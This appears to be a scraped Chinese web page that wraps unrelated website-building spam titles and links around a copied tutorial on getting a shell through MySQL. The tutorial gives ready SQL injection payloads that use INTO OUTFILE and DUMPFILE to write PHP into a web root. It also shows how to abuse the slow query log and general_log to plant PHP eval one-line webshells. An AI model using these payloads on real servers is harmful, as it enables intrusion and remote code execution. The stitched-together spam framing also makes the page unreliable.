当前位置: 首页 > wzjs >正文

温州有没有做鞋的网站电商网站开发主要设计内容

温州有没有做鞋的网站,电商网站开发主要设计内容,手机制作报价单app,wap手机网站分享代码mysql数据库中getshell的方式总结 MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL,下面这篇文章主要给大家介绍了关于mysql数据库中getshell的方式,需要的朋友可以参考下 outfile和dumpfile写shell 利用条件 …

mysql数据库中getshell的方式总结

MySQL版本大于5.0,MySQL 5.0版本以上会创建日志文件,我们通过修改日志文件的全局变量,就可以GetSHELL,下面这篇文章主要给大家介绍了关于mysql数据库中getshell的方式,需要的朋友可以参考下

outfile和dumpfile写shell

利用条件

    数据库当前用户为root权限;知道当前网站的绝对路径;PHP的GPC为 off状态;(魔术引号,GET,POST,Cookie)写入的那个路径存在写入权限。

基于union联合查询:
?id=1 union select 1,‘<?php phpinfo();?>’,3 into outfile ‘C:\phpstudy\www\shell.php’%23
?id=1 union select 1,‘<?php phpinfo();?>’,3 into dumpfile ‘C:\phpstudy\www\shell.php’%23
非联合查询
当我们无法使用联合查询时,我们可以使用fields terminated by与lines terminated by来写shell
?id=1 into outfile ‘C:\phpstudy\www\shell.php’ FIELDS TERMINATED BY ‘<?php phpinfo();?>’%23
代替空格的方法

+号,%0a、%0b、%a0 、 /**/ 注释符等

outfile和dumpfile的区别
outfile:

1、 支持多行数据同时导出2、 使用union联合查询时,要保证两侧查询的列数相同3、 会在换行符制表符后面追加反斜杠4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据2、 不会在换行符制表符后面追加反斜杠3、 不会在末尾追加换行

因此,我们可以使用into dumpfile这个函数来顺利写入二进制文件;

当然into outfile函数也可以写入二进制文件,但是无法生效(追加的反斜杠会使二进制文件无法生效)

当我们使用dumpfile,应该手动添加 limit 限制,来获取不同的行数

secure_file_prive

MySQL的secure-file-prive参数是用来限制LOAD DATA, SELECT ,OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_prive= ,结果为空的话,表示允许任何文件读写secure_file_prive=NULL,表示不允许任何文件读写secure_file_prive=‘某个路径’,表示这个路径作为文件读写的路径在mysql5.5版本前,都是默认为空,允许读取在mysql5.6版本后 ,默认为NULL,并且无法用SQL语句对其进行修改。所以这种只能在配置进行修改。

查询secure_file_prive的参数
show global variables like “%secure%”

利用sql语句修改参数

set global secure_file_prive=

但是5.6后不能利用sql修改了,所以只能利用配置修改

修改value的值:
windows下修改配置文件:mysql.ini
linux修改配置文件:my.cnf

日志getshell

慢日志getshell

慢日志:

一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:

show global variables like ‘%long_query_time%’
show global variables like ‘%long%’

查看慢日志参数

show global variables like ‘%slow%’
在这里插入图片描述

对慢日志参数进行修改

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file=‘c:\phpstudy\www\test.php’#慢日志的路径
注意:一定要用双反斜杠
SELECT ‘<?php @eval($_POST[1]);?>’ or sleep(11)
这儿11是超过慢日志的10秒时间

利用general_log

利用general_log,可以将所有到达mysql服务器的sql语句,都记录下来。

相关参数一共有3个:general_log、log_output、general_log_file

show variables like ‘general_log’; – 查看日志是否开启
set global general_log=on; – 开启日志功能

show variables like ‘general_log_file’; – 看看日志文件保存位置
set global general_log_file=‘tmp/general.lg’; – 设置日志文件保存位置

show variables like ‘log_output’; – 看看日志输出类型 table或file
set global log_output=‘table’; – 设置输出类型为 table
set global log_output=‘file’; – 设置输出类型为file

一般log_output都是file,就是将日志存入文件中。table的话就是将日志存入数据库的日志表中。

getshell

set global general_log=on
set global general_log_file=‘需要攻击的路径’
select ‘<?php eval($_POST[cmd]);?>’

这样就将一句话木马记录到general_log中,从而getshell

binlog的介绍

https://www.jb51.net/article/254968.htm

http://www.dtcms.com/wzjs/575579.html

相关文章:

  • 阿里云万网网站制作瓯北网站制作
  • 百度做网站好吗目前引流最好的app
  • 淘宝客做网站crm管理系统app
  • 广州市做企业网站网站建设狼盾网络
  • 优秀企业网站案例哔哩哔哩网页版和客户端哪个好
  • 自己怎么开网站申请网站的域名
  • 昆明市建设厅网站两学一做网站是多少
  • 手机网站规格贵阳市做网站电话
  • 校园网站建设与管理海市科技网站建设
  • 电商网站开发教程汕头网络推广平台
  • 南通网站推广公司wordpress 自定义文章类型
  • 南通长城建设集团有限公司网站本机安装wordpress
  • 在线制作图片网站自己在线制作logo免费 生成器
  • 做网站 传视频 用什么笔记本好在线免费看影视网站
  • 女頻做的最好的网站东莞十大保安公司
  • php 网站发布php c2c网站开发的 书
  • 上海免费模板建站免费ppt模板下载包图网
  • 嘉兴营销型网站建设网页设计代码如何写实训报告过程
  • 东莞网站建设优化推广广州白云网站建设
  • 网站被host重定向如何开发一个app软件
  • 丹阳市建设局网站网上接效果图平台
  • 上海网站设计与制作公司都是自己制作网站
  • 企业网站硬件设计免费行情软件app网站下载大全
  • 网站建设 软件开发的公司排名多语言网站制作
  • 毕设源码网站艺术设计方案
  • 工作室 网站备案手机做网站服务器
  • 建设科技网络网站的意义和目的网站建设合同细节
  • 滨州哪里有做网站的seo81
  • 网站建设新手教程视频北京做网站电话
  • 河南省建设教育协会网站首页网站建设的前端用什么编程